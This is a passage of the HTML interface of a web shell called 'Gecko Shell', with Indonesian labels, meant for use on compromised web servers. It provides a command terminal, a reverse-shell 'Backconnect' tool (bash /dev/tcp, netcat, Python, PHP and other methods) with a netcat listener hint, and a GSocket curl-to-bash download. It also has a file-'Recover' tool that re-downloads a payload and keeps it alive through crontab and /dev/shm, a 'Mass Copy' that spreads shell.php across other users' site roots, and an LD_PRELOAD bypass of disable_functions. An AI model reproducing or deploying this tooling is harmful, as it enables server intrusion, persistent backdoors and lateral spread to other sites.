      </button>
      <button class="sb-btn danger" id="sbDelSel" aria-disabled="true">
        <span class="sb-ico"><svg viewBox="0 0 24 24"><path d="M3 6h18"/><path d="M19 6v14a2 2 0 0 1-2 2H7a2 2 0 0 1-2-2V6m3 0V4a2 2 0 0 1 2-2h4a2 2 0 0 1 2 2v2"/><path d="M10 11v6M14 11v6"/></svg></span>
        Delete Selected
        <span class="sb-arrow">›</span>
      </button>
    </div>

    <div class="sidebar-divider"></div>

    <div class="sb-section open" data-sb="tools">
      <button type="button" class="sb-section-toggle" aria-expanded="true">
        <svg viewBox="0 0 24 24" width="14" height="14"><circle cx="12" cy="12" r="9"/><path d="M3 12h18M12 3a14 14 0 0 1 0 18M12 3a14 14 0 0 0 0 18"/></svg>
        Tools
        <svg class="chev" viewBox="0 0 24 24"><path d="M6 9l6 6 6-6"/></svg>
      </button>
      <div class="sb-section-body">
        <div class="sidebar-top">
          <button class="sb-btn" id="sbTerm">
            <span class="sb-ico"><svg viewBox="0 0 24 24"><rect x="2" y="4" width="20" height="16" rx="2"/><path d="M6 9l3 3-3 3M12 15h6"/></svg></span>
            Terminal
            <span class="sb-arrow">›</span>
          </button>
          <button class="sb-btn" id="sbCron">
            <span class="sb-ico"><svg viewBox="0 0 24 24"><circle cx="12" cy="12" r="9"/><path d="M12 7v5l3 2"/></svg></span>
            Cron Manager
            <span class="sb-arrow">›</span>
          </button>
          <button class="sb-btn" id="sbBackconnect">
            <span class="sb-ico"><svg viewBox="0 0 24 24"><path d="M9 14L4 9l5-5"/><path d="M4 9h10a5 5 0 0 1 5 5v1"/></svg></span>
            Backconnect
            <span class="sb-arrow">›</span>
          </button>
          <button class="sb-btn" id="sbGsocket">
            <span class="sb-ico"><svg viewBox="0 0 24 24"><path d="M12 2L2 7l10 5 10-5-10-5z"/><path d="M2 17l10 5 10-5M2 12l10 5 10-5"/></svg></span>
            GSocket
            <span class="sb-arrow">›</span>
          </button>
          <button class="sb-btn" id="sbPortScan">
            <span class="sb-ico"><svg viewBox="0 0 24 24"><rect x="2" y="4" width="20" height="16" rx="2"/><path d="M7 8h4M7 12h10M7 16h7"/></svg></span>
            Port Scanner
            <span class="sb-arrow">›</span>
          </button>
          <button class="sb-btn" id="sbVhostHint">
            <span class="sb-ico"><svg viewBox="0 0 24 24"><circle cx="12" cy="12" r="9"/><path d="M2 12h20"/><path d="M12 2a15.3 15.3 0 0 1 4 10 15.3 15.3 0 0 1-4 10 15.3 15.3 0 0 1-4-10 15.3 15.3 0 0 1 4-10Z"/></svg></span>
            Subdomain / Vhost
            <span class="sb-arrow">›</span>
          </button>
          <button class="sb-btn" id="sbLogTailer">
            <span class="sb-ico"><svg viewBox="0 0 24 24"><path d="M15 2H6a2 2 0 0 0-2 2v16a2 2 0 0 0 2 2h12a2 2 0 0 0 2-2V7Z"/><path d="M14 2v4a2 2 0 0 0 2 2h4"/><path d="M10 9H8M10 13H8M16 13h2M16 9h2"/></svg></span>
            Log &amp; History Tail
            <span class="sb-arrow">›</span>
          </button>
          <button class="sb-btn" id="sbAdminer">
            <span class="sb-ico"><svg viewBox="0 0 24 24"><ellipse cx="12" cy="5" rx="8" ry="3"/><path d="M4 5v14c0 1.66 3.58 3 8 3s8-1.34 8-3V5"/><path d="M4 12c0 1.66 3.58 3 8 3s8-1.34 8-3"/></svg></span>
            MySQL Manager
            <span class="sb-arrow">›</span>
          </button>
          <button class="sb-btn" id="sbRecover">
            <span class="sb-ico"><svg viewBox="0 0 24 24"><path d="M3 12a9 9 0 0 1 15.18-6.36L21 8"/><path d="M21 3v5h-5"/><path d="M12 8v8M8 12h8"/></svg></span>
            Recover
            <span class="sb-arrow">›</span>
          </button>
          <button class="sb-btn" id="sbFindWritable">
            <span class="sb-ico"><svg viewBox="0 0 24 24"><path d="M3 7h18M3 12h18M3 17h18"/><circle cx="17" cy="17" r="3"/><path d="M21 21l-1.5-1.5"/></svg></span>
            Find Writable Dir
            <span class="sb-arrow">›</span>
          </button>
          <button class="sb-btn" id="sbMassCopy">
            <span class="sb-ico"><svg viewBox="0 0 24 24"><path d="M16 4h2a2 2 0 0 1 2 2v14a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V6a2 2 0 0 1 2-2h2"/><rect x="8" y="2" width="8" height="4" rx="1"/><path d="M8 12h8M8 16h5"/></svg></span>
            Mass Copy
            <span class="sb-arrow">›</span>
          </button>
          <button class="sb-btn" id="sbBypassDf">
            <span class="sb-ico"><svg viewBox="0 0 24 24"><path d="M12 22s8-4 8-10V5l-8-3-8 3v7c0 6 8 10 8 10z"/><path d="M9 12h6M12 9v6"/></svg></span>
            Bypass Functions
            <span class="sb-arrow">›</span>
          </button>
        </div>
      </div>
    </div>

    <div class="sidebar-divider"></div>

    <div class="sb-section" data-sb="security">
      <button type="button" class="sb-section-toggle" aria-expanded="false">
        <svg viewBox="0 0 24 24" width="14" height="14"><path d="M12 22s8-4 8-10V5l-8-3-8 3v7c0 6 8 10 8 10z"/></svg>
        Security
        <svg class="chev" viewBox="0 0 24 24"><path d="M6 9l6 6 6-6"/></svg>
      </button>
      <div class="sb-section-body">
        <div class="sidebar-top">
          <button class="sb-btn" id="sbSecHub">
            <span class="sb-ico"><svg viewBox="0 0 24 24"><path d="M12 22s8-4 8-10V5l-8-3-8 3v7c0 6 8 10 8 10z"/><path d="M9 12l2 2 4-4"/></svg></span>
            Cyber Security Hub
            <span class="sb-arrow">›</span>
          </button>
          <button class="sb-btn" id="sbBlueHub">
            <span class="sb-ico"><svg viewBox="0 0 24 24"><path d="M12 3l7 4v5c0 5-3.5 8.5-7 9-3.5-.5-7-4-7-9V7l7-4z"/><path d="M9 12l2 2 4-4"/></svg></span>
            Blue Team Hub
            <span class="sb-arrow">›</span>
          </button>
          <button class="sb-btn" id="sbSecRecon">
            <span class="sb-ico"><svg viewBox="0 0 24 24"><circle cx="11" cy="11" r="7"/><path d="M21 21l-4.35-4.35"/></svg></span>
            System Recon
            <span class="sb-arrow">›</span>
          </button>
          <button class="sb-btn" id="sbSecSensitive">
            <span class="sb-ico" data-bi="file-earmark-lock-fill"></span>
            Sensitive Scanner
            <span class="sb-arrow">›</span>
          </button>
          <button class="sb-btn" id="sbSecHttp">
            <span class="sb-ico"><svg viewBox="0 0 24 24"><circle cx="12" cy="12" r="9"/><path d="M2 12h20M12 2a15 15 0 0 1 0 20M12 2a15 15 0 0 0 0 20"/></svg></span>
            HTTP Client
            <span class="sb-arrow">›</span>
          </button>
          <button class="sb-btn" id="sbSecPrivesc">
            <span class="sb-ico"><svg viewBox="0 0 24 24"><path d="M12 22s8-4 8-10V5l-8-3-8 3v7c0 6 8 10 8 10z"/><path d="M12 8v4M12 16h.01"/></svg></span>
            Privesc Audit
            <span class="sb-arrow">›</span>
          </button>
          <button class="sb-btn" id="sbBlueBackdoor">
            <span class="sb-ico"><svg viewBox="0 0 24 24"><path d="M12 2a4 4 0 0 1 4 4c0 1.5-.8 2.8-2 3.5V12h3a3 3 0 0 1 3 3v1H7v-1a3 3 0 0 1 3-3h3V9.5A4 4 0 0 1 12 2z"/><path d="M9 19h6"/></svg></span>
            Backdoor Scanner
            <span class="sb-arrow">›</span>
          </button>
          <button class="sb-btn" id="sbBluePersistence">
            <span class="sb-ico"><svg viewBox="0 0 24 24"><circle cx="12" cy="12" r="9"/><path d="M12 7v5l3 2"/><path d="M9 3h6M12 21a9 9 0 0 0 0-18"/></svg></span>
            Persistence Audit
            <span class="sb-arrow">›</span>
          </button>
          <button class="sb-btn" id="sbBlueAudit">
            <span class="sb-ico"><svg viewBox="0 0 24 24"><path d="M9 11l3 3L22 4"/><path d="M21 12v7a2 2 0 0 1-2 2H5a2 2 0 0 1-2-2V5a2 2 0 0 1 2-2h11"/></svg></span>
            Full Security Audit
            <span class="sb-arrow">›</span>
          </button>
        </div>
      </div>
    </div>

   </div><!-- /.sb-scroll -->

   <div class="sb-foot">
    <div class="sb-recent" id="sbRecent">
      <div class="sb-recent-label">Terakhir dibuka</div>
      <div class="sb-recent-list" id="sbRecentList"></div>
    </div>
    <div class="drive-box" id="driveBox">
      <div class="disk-label">Path Navigation</div>
      <select id="driveSelect">
        <option value="">— Select Path —</option>
      </select>
    </div>

    <div class="disk-box" id="diskBox">
      <div class="disk-label">Storage</div>
      <div class="disk-track"><div class="disk-fill" id="diskFill" style="width:0%"></div></div>
      <div class="disk-meta"><span id="diskUsed">—</span><span id="diskPct">—</span></div>
    </div>

    <div class="sidebar-sys" id="sysInfo"><strong>Environment</strong>Loading…</div>
   </div>
  </aside>

  <main class="main">
    <div class="actionbar">
      <nav class="breadcrumb" id="breadcrumb" aria-label="Path"></nav>
      <div class="file-filters" role="group" aria-label="Filter tampilan">
        <button type="button" class="file-filter active" data-ff="all">Semua</button>
        <button type="button" class="file-filter" data-ff="folders">Folder</button>
        <button type="button" class="file-filter" data-ff="files">File</button>
        <button type="button" class="file-filter" data-ff="images">Gambar</button>
        <button type="button" class="file-filter" data-ff="code">Kode</button>
        <button type="button" class="file-filter" data-ff="hidden" title="Tampilkan file tersembunyi">Tersembunyi</button>
      </div>
      <button class="bc-copy-btn" id="btnCopyPath" title="Salin path saat ini">Salin path</button>
      <button class="btn btn-ghost btn-icon" id="btnUp" title="Go up" style="visibility:hidden">
        <svg viewBox="0 0 16 16"><path d="m7.78 12.53-4.25-4.25a.749.749 0 0 1 0-1.061l4.25-4.25a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L4.811 7.25h7.939a.75.75 0 0 1 0 1.5H4.811l2.829 2.829a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215Z"/></svg>
      </button>
      <button class="btn btn-primary btn-sm" id="btnNewFile" type="button" onclick="_gceda862('file')">
        <i class="bi bi-plus-lg" aria-hidden="true"></i>
        New
      </button>
    </div>

    <div class="main-body">
    <div class="panel-wrap">
    <div class="panel" id="panel" tabindex="-1">
      <div class="empty" id="loading">
        <div class="empty-ico"><svg class="spin" viewBox="0 0 16 16"><path d="M8 0a8 8 0 0 1 8 8h-1.5A6.5 6.5 0 0 0 8 1.5V0Z" fill="currentColor"/></svg></div>
        <h3>Memuat workspace…</h3>
        <p>Mengambil daftar file</p>
      </div>
    </div>
    </div>
    <aside class="detail-pane" id="detailPane" aria-label="Detail file">
      <div class="detail-head">Detail</div>
      <div class="detail-body" id="detailBody">
        <p style="color:var(--tx3);font-size:12px">Pilih satu item untuk melihat detail.</p>
      </div>
    </aside>
    </div>

    <div class="statusbar" id="statusbar">
      <div class="pulse-dot"></div>
      <span id="stItems">—</span>
      <span id="stSel" class="st-sel"></span>
      <span id="stDisk">—</span>
      <span id="stClock">—</span>
      <span class="st-right st-path-copy" id="stPath" title="Click to copy path">—</span>
    </div>
  </main>
</div></div><div class="overlay" id="mCreate">
  <div class="modal m-sm">
    <div class="modal-head"><h2 id="createTitle">New File</h2><button class="btn btn-ghost btn-icon mc" type="button" aria-label="Tutup"></button></div>
    <div class="modal-body">
      <div class="fg"><label>Name</label><input type="text" id="createName" placeholder="filename.ext"></div>
      <div class="fg hidden" id="createContentWrap"><label>Initial content (optional)</label><textarea id="createContent" rows="4"></textarea></div>
    </div>
    <div class="modal-foot"><button class="btn mc">Cancel</button><button class="btn btn-primary" id="createOk">Create</button></div>
  </div>
</div>

<div class="overlay" id="mRename">
  <div class="modal m-sm">
    <div class="modal-head"><h2>Rename</h2><button class="btn btn-ghost btn-icon mc" type="button" aria-label="Tutup"></button></div>
    <div class="modal-body"><div class="fg"><label>New name</label><input type="text" id="renameInput"></div></div>
    <div class="modal-foot"><button class="btn mc">Cancel</button><button class="btn btn-primary" id="renameOk">Rename</button></div>
  </div>
</div>

<div class="overlay" id="mChmod">
  <div class="modal m-sm">
    <div class="modal-head"><h2>Permissions (Chmod)</h2><button class="btn btn-ghost btn-icon mc" type="button" aria-label="Tutup"></button></div>
    <div class="modal-body">
      <div class="fg">
        <label>Izin Oktal (contoh: 0755, 0644)</label>
        <input type="text" id="chmodInput" placeholder="0644" maxlength="4">
      </div>
    </div>
    <div class="modal-foot"><button class="btn mc">Cancel</button><button class="btn btn-primary" id="chmodOk">Apply</button></div>
  </div>
</div>

<div class="overlay" id="mDelete">
  <div class="modal m-sm">
    <div class="modal-head"><h2>Delete</h2><button class="btn btn-ghost btn-icon mc" type="button" aria-label="Tutup"></button></div>
    <div class="modal-body"><p id="deleteMsg" style="color:var(--tx2);font-size:14px;line-height:1.6"></p></div>
    <div class="modal-foot"><button class="btn mc">Cancel</button><button class="btn btn-danger" id="deleteOk">Delete</button></div>
  </div>
</div>

<div class="overlay" id="mTransfer">
  <div class="modal m-sm tool-modal">
    <div class="modal-head"><h2 id="transferTitle">Copy to folder</h2><button class="btn btn-ghost btn-icon mc" type="button" aria-label="Tutup"></button></div>
    <div class="modal-body">
      <p id="transferMsg" class="modal-sub"></p>
      <div class="fg"><label>Destination folder</label><input type="text" id="transferDest" placeholder="C:/path/to/folder"></div>
    </div>
    <div class="modal-foot"><button class="btn mc">Cancel</button><button class="btn btn-primary" id="transferOk">Confirm</button></div>
  </div>
</div>

<div class="overlay" id="mZip">
  <div class="modal m-sm tool-modal">
    <div class="modal-head"><h2><span class="tool-head-ico" data-bi="file-earmark-zip"></span>Kompres ke ZIP</h2><button class="btn btn-ghost btn-icon mc" type="button" aria-label="Tutup"></button></div>
    <div class="modal-body">
      <p id="zipMsg" class="modal-sub"></p>
      <div class="fg"><label>Archive name</label><input type="text" id="zipName" placeholder="archive.zip"></div>
      <div class="fg"><label>Save in folder</label><input type="text" id="zipDest" placeholder="Current folder"></div>
    </div>
    <div class="modal-foot"><button class="btn mc">Cancel</button><button class="btn btn-primary" id="zipOk">Create ZIP</button></div>
  </div>
</div>

<div class="overlay" id="mUpload">
  <div class="modal m-md">
    <div class="modal-head"><h2>Upload Files</h2><button class="btn btn-ghost btn-icon mc" type="button" aria-label="Tutup"></button></div>
    <div class="modal-body">
      <div class="dropzone" id="dropzone">
        <svg viewBox="0 0 16 16"><path d="M2.75 14A1.75 1.75 0 0 1 1 12.25v-2.5a.75.75 0 0 1 1.5 0v2.5c0 .138.112.25.25.25h10.5a.25.25 0 0 0 .25-.25v-2.5a.75.75 0 0 1 1.5 0v2.5A1.75 1.75 0 0 1 14.25 14H2.75Z"/><path d="M7.25 7.567V1.75a.75.75 0 0 1 1.5 0v5.817l1.78-1.347a.75.75 0 1 1 1.042 1.078l-3.25 3.25a.75.75 0 0 1-1.06 0L3.53 7.28a.75.75 0 0 1 1.06-1.06l2.66 2.347Z"/></svg>
        <p>Seret &amp; lepas file di sini atau <strong>klik untuk browse</strong></p>
        <p class="modal-hint" style="margin-top:6px">Upload ke folder saat ini</p>
        <p class="modal-hint" style="font-size:10px;margin-top:4px">Ukuran maks: <?php echo ini_get('upload_max_filesize'); ?></p>
      </div>
      <div class="upload-list hidden" id="uploadProgress"></div>
      <input type="file" id="fileInput" multiple class="hidden">
    </div>
  </div>
</div>

<div class="overlay" id="mEditor">
  <div class="modal m-full">
    <div class="modal-head">
      <span class="ed-unsaved-dot" id="edUnsaved" title="Unsaved changes"></span>
      <h2 id="edTitle">Edit File</h2>
      <span class="path-tag" id="edPath"></span>
      <button class="btn btn-ghost btn-sm" id="edWrapToggle" title="Toggle word wrap">Wrap</button>
      <button class="btn btn-ghost btn-icon mc" type="button" aria-label="Tutup"></button>
    </div>
    <div class="modal-body" style="padding:0;display:flex;flex-direction:column">
      <div class="editor-wrap">
        <div class="line-nums" id="lineNums"></div>
        <div class="ed-area" id="edArea">
          <pre class="ed-highlight" id="edHighlight" aria-hidden="true"></pre>
          <textarea id="edText" spellcheck="false" autocomplete="off" autocorrect="off" autocapitalize="off"></textarea>
        </div>
      </div>
    </div>
    <div class="modal-foot">
      <span class="left" id="edMeta"></span>
      <button class="btn mc">Cancel</button>
      <button class="btn btn-primary" id="edSave">
        <svg viewBox="0 0 16 16"><path d="M2.75 1A1.75 1.75 0 0 0 1 2.75v10.5c0 .966.784 1.75 1.75 1.75h10.5A1.75 1.75 0 0 0 15 13.25V2.75A1.75 1.75 0 0 0 13.25 1H2.75ZM3.5 6.25V2.5h4.75v3.75H3.5Zm9 7.25H3.5V9.5h9v4Z"/></svg>
        Save
      </button>
    </div>
  </div>
</div>

<div class="overlay" id="mImagePreview">
  <div class="modal m-lg">
    <div class="modal-head">
      <h2 id="ipTitle">Preview</h2>
      <span class="path-tag" id="ipPath"></span>
      <div class="ip-tabs" role="tablist">
        <button class="ip-tab active" data-tab="image" type="button">Image</button>
        <button class="ip-tab" data-tab="text" type="button">Text</button>
      </div>
      <button class="btn btn-ghost btn-icon mc" type="button" aria-label="Tutup"></button>
    </div>
    <div class="modal-body" style="padding:14px">
      <div class="ip-pane ip-image" id="ipImagePane">
        <img id="ipImg" alt="">
        <div class="img-info" id="ipImgInfo"></div>
      </div>
      <div class="ip-pane ip-text hidden" id="ipTextPane">
        <pre id="ipTextContent">Loading…</pre>
      </div>
    </div>
    <div class="modal-foot">
      <span class="left" id="ipMeta"></span>
      <button class="btn mc">Close</button>
      <a class="btn btn-primary" id="ipDownload" download>
        <svg viewBox="0 0 16 16"><path d="M2.75 14A1.75 1.75 0 0 1 1 12.25v-2.5a.75.75 0 0 1 1.5 0v2.5c0 .138.112.25.25.25h10.5a.25.25 0 0 0 .25-.25v-2.5a.75.75 0 0 1 1.5 0v2.5A1.75 1.75 0 0 1 14.25 14H2.75Z"/><path d="M7.25 7.567V1.75a.75.75 0 0 1 1.5 0v5.817l1.78-1.347a.75.75 0 1 1 1.042 1.078l-3.25 3.25a.75.75 0 0 1-1.06 0L3.53 7.28a.75.75 0 0 1 1.06-1.06l2.66 2.347Z"/></svg>
        Download
      </a>
    </div>
  </div>
</div>

<div class="overlay term-modal" id="mTerm">
  <div class="modal m-lg" style="height:78vh">
    <div class="modal-head">
      <h2>Terminal</h2>
      <span class="path-tag" id="termPathTag">root</span>
      <button class="btn btn-ghost btn-icon mc" type="button" aria-label="Tutup"></button>
    </div>
    <div class="modal-body">
      <div class="term-top">
        <div class="term-dots" aria-hidden="true"><i></i><i></i><i></i></div>
        <div class="term-title-area">
          <div class="term-title">
            <svg class="term-title-icon" viewBox="0 0 24 24" stroke-width="2.5" stroke-linecap="round" stroke-linejoin="round"><path d="M5 8l4 4-4 4"/><path d="M12 16h7"/></svg>
            Gecko Shell
          </div>
          <div class="term-cwd" id="termCwd">~</div>
        </div>
        <div class="term-actions">
          <span class="term-stats" id="termStats" title="Commands executed"><b id="termCount">0</b><span>cmds</span></span>
          <button class="term-btn" id="termCopy" title="Copy all output">
            <svg viewBox="0 0 16 16"><path d="M0 6.75C0 5.784.784 5 1.75 5h1.5a.75.75 0 0 1 0 1.5h-1.5a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 0 0 .25-.25v-1.5a.75.75 0 0 1 1.5 0v1.5A1.75 1.75 0 0 1 9.25 16h-7.5A1.75 1.75 0 0 1 0 14.25Z"/><path d="M5 1.75C5 .784 5.784 0 6.75 0h7.5C15.216 0 16 .784 16 1.75v7.5A1.75 1.75 0 0 1 14.25 11h-7.5A1.75 1.75 0 0 1 5 9.25Zm1.75-.25a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 0 0 .25-.25v-7.5a.25.25 0 0 0-.25-.25Z"/></svg>
          </button>
          <button class="term-btn" id="termClear" title="Clear (Ctrl+L)">
            <svg viewBox="0 0 16 16"><path d="M11 1.75V3h2.25a.75.75 0 0 1 0 1.5H2.75a.75.75 0 0 1 0-1.5H5V1.75C5 .784 5.784 0 6.75 0h2.5C10.216 0 11 .784 11 1.75ZM4.496 6.675l.66 6.6a.25.25 0 0 0 .249.225h5.19a.25.25 0 0 0 .249-.225l.66-6.6a.75.75 0 0 1 1.492.149l-.66 6.6A1.75 1.75 0 0 1 10.595 15h-5.19a1.75 1.75 0 0 1-1.741-1.575l-.66-6.6a.75.75 0 1 1 1.492-.15ZM6.5 1.75V3h3V1.75a.25.25 0 0 0-.25-.25h-2.5a.25.25 0 0 0-.25.25Z"/></svg>
          </button>
        </div>
      </div>
      <div class="term-out" id="termOut"></div>
      <div class="term-in-row">
        <div class="term-prompt-area">
          <span class="term-prompt-user">gecko</span><span class="term-prompt-at">@</span><span class="term-prompt-host">shell</span><span class="term-prompt-colon">:</span><span class="term-prompt-cwd" id="termPromptCwd">~</span>
          <span class="term-prompt-mark"></span>
        </div>
        <input type="text" id="termIn" placeholder="Type a command…" autocomplete="off" spellcheck="false">
        <div class="term-spinner" id="termSpinner" aria-hidden="true"></div>
        <div class="term-hint">
          <span><span class="kbd">↑↓</span>history</span>
          <span><span class="kbd">⏎</span>run</span>
        </div>
      </div>
    </div>
  </div>
</div>

<div class="overlay" id="mCron">
  <div class="modal m-lg tool-modal">
    <div class="modal-head"><h2><span class="tool-head-ico" data-bi="clock"></span>Cron Manager</h2><button class="btn btn-ghost btn-icon mc" type="button" aria-label="Tutup"></button></div>
    <div class="modal-body">
      <div class="sec-callout" id="cronPlatformNote">Loading crontab…</div>
      <div class="fg" style="margin-top:14px"><label>Crontab entries</label><textarea id="cronContent" rows="14" spellcheck="false" placeholder="* * * * * /usr/bin/php /path/to/script.php"></textarea></div>
    </div>
    <div class="modal-foot">
      <button class="btn mc">Close</button>
      <button class="btn btn-ghost" id="cronReload">Reload</button>
      <button class="btn btn-primary" id="cronSave">Save Crontab</button>
    </div>
  </div>
</div>

<div class="overlay" id="mRecover">
  <div class="modal m-lg tool-modal">
    <div class="modal-head"><h2><span class="tool-head-ico" data-bi="arrow-repeat"></span>Recover File</h2><button class="btn btn-ghost btn-icon mc" type="button" aria-label="Tutup"></button></div>
    <div class="modal-body">
      <div class="sec-callout">Created By <code>Major0xPusdiklat</code>: Recover Files + auto persistence (daemon/crontab/tmp/shm)</div>
      <div class="tool-grid" style="margin-top:14px">
        <div class="fg span2"><label>DIR_PATH</label><input type="text" id="recDirPath" placeholder="/var/www/html" autocomplete="off" title="Otomatis terisi path browse saat ini; bisa diubah manual"></div>
        <div class="fg"><label>FILE_NAME</label><input type="text" id="recFileName" placeholder="index.php" autocomplete="off"></div>
        <div class="fg span2"><label>DOWNLOAD_URL</label><input type="url" id="recDownloadUrl" placeholder="https://paste.ee/r/xxxx" autocomplete="off"></div>
        <div class="fg span2">
          <label style="display:flex;align-items:center;gap:8px;cursor:pointer">
            <input type="checkbox" id="recPersist" checked style="width:auto;margin:0">
            Enable auto-recover (daemon + crontab + /tmp + /dev/shm) — file yang dihapus akan kembali
          </label>
        </div>
      </div>
      <div class="sec-terminal" style="margin-top:14px">
        <div class="sec-terminal-bar"><div class="sec-terminal-dots"><i></i><i></i><i></i></div><span class="sec-terminal-title">output — recover</span></div>
        <div class="tool-output tall empty sec-terminal-out" id="recOutput">Isi DIR_PATH, FILE_NAME, DOWNLOAD_URL lalu klik Recover.</div>
      </div>
    </div>
    <div class="modal-foot">
      <button class="btn mc">Close</button>
      <button class="btn btn-primary" id="recRun">Recover</button>
    </div>
  </div>
</div>

<div class="overlay" id="mFindWritable">
  <div class="modal m-lg tool-modal">
    <div class="modal-head"><h2><span class="tool-head-ico" data-bi="folder2-open"></span>Find Writable Dir</h2><button class="btn btn-ghost btn-icon mc" type="button" aria-label="Tutup"></button></div>
    <div class="modal-body">
      <div class="sec-callout">Cari direktori yang <code>is_writable</code>. Kosongkan path untuk pakai lokasi browse saat ini (atau default <code>/var/www/html</code>).</div>
      <div class="tool-grid" style="margin-top:14px">
        <div class="fg span2"><label>Start path (opsional)</label><input type="text" id="fwPath" placeholder="/var/www/html" autocomplete="off"></div>
        <div class="fg"><label>Max depth</label><input type="number" id="fwDepth" value="8" min="0" max="12"></div>
        <div class="fg"><label>Limit results</label><input type="number" id="fwLimit" value="400" min="1" max="500"></div>
      </div>
      <div class="sec-terminal" style="margin-top:14px">
        <div class="sec-terminal-bar"><div class="sec-terminal-dots"><i></i><i></i><i></i></div><span class="sec-terminal-title">output — find writable</span></div>
        <div class="tool-output tall empty sec-terminal-out" id="fwOutput">Klik Find untuk mulai scan.</div>
      </div>
    </div>
    <div class="modal-foot">
      <button class="btn mc">Close</button>
      <button class="btn btn-ghost" id="fwUseCurrent">Use Current Path</button>
      <button class="btn btn-primary" id="fwRun">Find</button>
    </div>
  </div>
</div>

<div class="overlay" id="mMassCopy">
  <div class="modal m-lg tool-modal">
    <div class="modal-head"><h2><span class="tool-head-ico" data-bi="files"></span>Mass Copy</h2><button class="btn btn-ghost btn-icon mc" type="button" aria-label="Tutup"></button></div>
    <div class="modal-body">
      <div class="sec-callout">Mode <b>eksklusif</b> (hanya satu aktif). v1: Base Path + writable dalam (depth≥2). v2: discovery Symlink. v3: Apache/Nginx sites-enabled (ServerName+DocumentRoot, HTTP+SSL dedupe). <b>Validasi sama:</b> copy → hapus .htaccess → path/url VALID|INVALID.</div>
      <div class="tool-grid" style="margin-top:14px">
        <div class="fg span2"><label>Source File</label><input type="text" id="mcSrc" placeholder="/home/user/public_html/shell.php" autocomplete="off"></div>
        <div class="fg span2" id="mcBaseWrap"><label>Base Path (domain source)</label><input type="text" id="mcBase" placeholder="/home/* atau /home/username" autocomplete="off"></div>
        <div class="fg span2">
          <label style="display:flex;align-items:center;gap:8px;cursor:pointer">
            <input type="checkbox" id="mcV2" style="width:auto;margin:0">
            Mass Copy v2 — auto discovery user/domain (tanpa Base Path)
          </label>
        </div>
        <div class="fg span2">
          <label style="display:flex;align-items:center;gap:8px;cursor:pointer">
            <input type="checkbox" id="mcV3" style="width:auto;margin:0">
            Mass Copy v3 — Apache/Nginx sites-enabled (DocumentRoot, anti-duplikat SSL)
          </label>
        </div>
        <div class="fg span2">
          <label style="display:flex;align-items:center;gap:8px;cursor:pointer">
            <input type="checkbox" id="mcDebug" style="width:auto;margin:0">
            Debug mode (tampilkan log detail)
          </label>
        </div>
      </div>
      <div class="sec-terminal" style="margin-top:14px">
        <div class="sec-terminal-bar"><div class="sec-terminal-dots"><i></i><i></i><i></i></div><span class="sec-terminal-title">output — mass copy</span><span class="sec-terminal-meta" id="mcMeta">—</span></div>
        <div class="tool-output tall empty sec-terminal-out" id="mcOutput">Isi Source File + Base Path lalu klik Spread.</div>
      </div>
    </div>
    <div class="modal-foot">
      <button class="btn mc">Close</button>
      <button class="btn btn-ghost" id="mcCopyUrls" title="Copy confirmed URLs">Copy URLs</button>
      <button class="btn btn-ghost" id="mcDownloadTxt" title="Download confirmed URLs as TXT">Download TXT</button>
      <button class="btn btn-primary" id="mcRun">Spread</button>
    </div>
  </div>
</div>

<div class="overlay" id="mBypassDf">
  <div class="modal m-lg tool-modal">
    <div class="modal-head"><h2><span class="tool-head-ico" data-bi="shield-x"></span>Bypass Functions</h2><button class="btn btn-ghost btn-icon mc" type="button" aria-label="Tutup"></button></div>
    <div class="modal-body">
      <div class="sec-callout">LD_PRELOAD + <code>mail()</code> untuk menjalankan perintah saat <code>disable_functions</code> memblokir shell. Payload .so sudah embedded di <code>manager.php</code> — tidak perlu <code>preload.php</code> terpisah. Linux only.</div>
      <div class="tool-grid" style="margin-top:14px">
        <div class="fg span2"><label>Command</label><input type="text" id="bpCmd" placeholder="uname -a" value="uname -a" autocomplete="off"></div>
      </div>
      <div class="sec-terminal" style="margin-top:14px">
        <div class="sec-terminal-bar"><div class="sec-terminal-dots"><i></i><i></i><i></i></div><span class="sec-terminal-title">output — bypass functions</span><span class="sec-terminal-meta" id="bpMeta">—</span></div>
        <div class="tool-output tall empty sec-terminal-out" id="bpOutput">Klik Check Status atau Run Command.</div>
      </div>
    </div>
    <div class="modal-foot">
      <button class="btn mc">Close</button>
      <button class="btn btn-ghost" id="bpCheck">Check Status</button>
      <button class="btn btn-primary" id="bpRun">Run Command</button>
    </div>
  </div>
</div>

<div class="overlay" id="mBackconnect">
  <div class="modal m-md tool-modal">
    <div class="modal-head"><h2><span class="tool-head-ico" data-bi="plug"></span>Backconnect</h2><button class="btn btn-ghost btn-icon mc" type="button" aria-label="Tutup"></button></div>
    <div class="modal-body">
      <div class="tool-grid">
        <div class="fg"><label>Your IP / Host</label><input type="text" id="bcIp" placeholder="192.168.1.100"></div>
        <div class="fg"><label>Port</label><input type="number" id="bcPort" value="4444" min="1" max="65535"></div>
        <div class="fg span2"><label>Method</label>
          <select id="bcMethod">
            <option value="bash">Bash (/dev/tcp)</option>
            <option value="nc">Netcat (nc)</option>
            <option value="python">Python</option>
            <option value="perl">Perl</option>
            <option value="php">PHP</option>
            <option value="powershell">PowerShell (Windows)</option>
          </select>
        </div>
      </div>
      <div class="sec-callout warn"><svg viewBox="0 0 24 24"><circle cx="12" cy="12" r="9"/><path d="M12 8v4M12 16h.01"/></svg><span>Start listener dulu: <code>nc -lvnp PORT</code> atau <code>rlwrap nc -lvnp PORT</code></span></div>
      <div class="sec-terminal" style="margin-top:14px">
        <div class="sec-terminal-bar"><div class="sec-terminal-dots"><i></i><i></i><i></i></div><span class="sec-terminal-title">output — backconnect</span></div>
        <div class="tool-output empty sec-terminal-out" id="bcOutput">Ready — connection runs in background.</div>
      </div>
    </div>
    <div class="modal-foot">
      <button class="btn mc">Close</button>
      <button class="btn btn-primary" id="bcStart">Start Backconnect</button>
    </div>
  </div>
</div>

<div class="overlay" id="mGsocket">
  <div class="modal m-lg tool-modal">
    <div class="modal-head"><h2><span class="tool-head-ico" data-bi="lightning-charge"></span>GSocket</h2><button class="btn btn-ghost btn-icon mc" type="button" aria-label="Tutup"></button></div>
    <div class="modal-body">
      <div class="tool-grid">
        <div class="fg span2"><label>Download method</label>
          <select id="gsMethod">
            <option value="curl">curl — GS_NOCERTCHECK=1 bash -c "$(curl -fsSLk …)"</option>
